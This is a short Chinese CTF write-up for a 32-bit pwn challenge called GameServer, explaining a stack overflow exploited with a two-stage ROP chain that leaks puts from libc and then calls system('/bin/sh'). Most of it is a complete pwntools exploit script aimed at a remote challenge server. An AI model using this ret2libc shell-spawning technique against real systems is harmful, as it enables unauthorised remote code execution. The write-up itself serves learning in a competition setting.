[Pwn]GameServer - Cpt.shao xp0int Posted on May 2 2018 最简单的溢出题目,没有开canary,但是开了nx。 直接用rop解决就好,还是分两步走,第一次rop通过`puts`来泄露libc上面的地址,算好`system`和`/bin/sh`的偏移地址,然后返回main函数。 第二次溢出直接调用`system(/bin/sh)`即可,因为是32位的程序,所以参数全部放到栈上即可。 ```GameServer.py from pwn import * context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] # p = process('./pwn2') p = remote('123.59.138.180', 20000) elf = ELF('./pwn2') main = 0x80485cb # stage 1 leak libc p.recvuntil('name?') p.send('A'*250 + '\n') p.recvuntil('occupation?') p.send('B'*250 + '\n') p.recvuntil('N]') p.send('Y') rop = ROP(elf) rop.raw(elf.plt['puts']) rop.raw(main) rop.raw(elf.got['puts']) p.sendline('a'*274 + '@'*4+ rop.chain()) p.recvuntil('\n\n') puts = u32(p.recv(4)) p.info('puts@libc: %x' % puts) system = puts - 0x24800 bin_sh = puts + 0xf9d4b p.info('system: %x' % system) # stage 2 p.recvuntil('name?') p.send('/bin/sh\x00' + 'A'*242 + '\n') p.recvuntil('occupation?') p.send('B'*250 + '\n') p.recvuntil('N]') p.send('Y') rop = ROP(elf) rop.raw(system) rop.raw(0xdeadbeef) rop.raw(0x0804a180) p.sendline('a'*274 + '@'*4+ rop.chain()) # p.recvuntil('\n\n') p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Crypto] 3dlight - CirQ [Misc] 这是道web题?- CirQ
没有帐号? 立即注册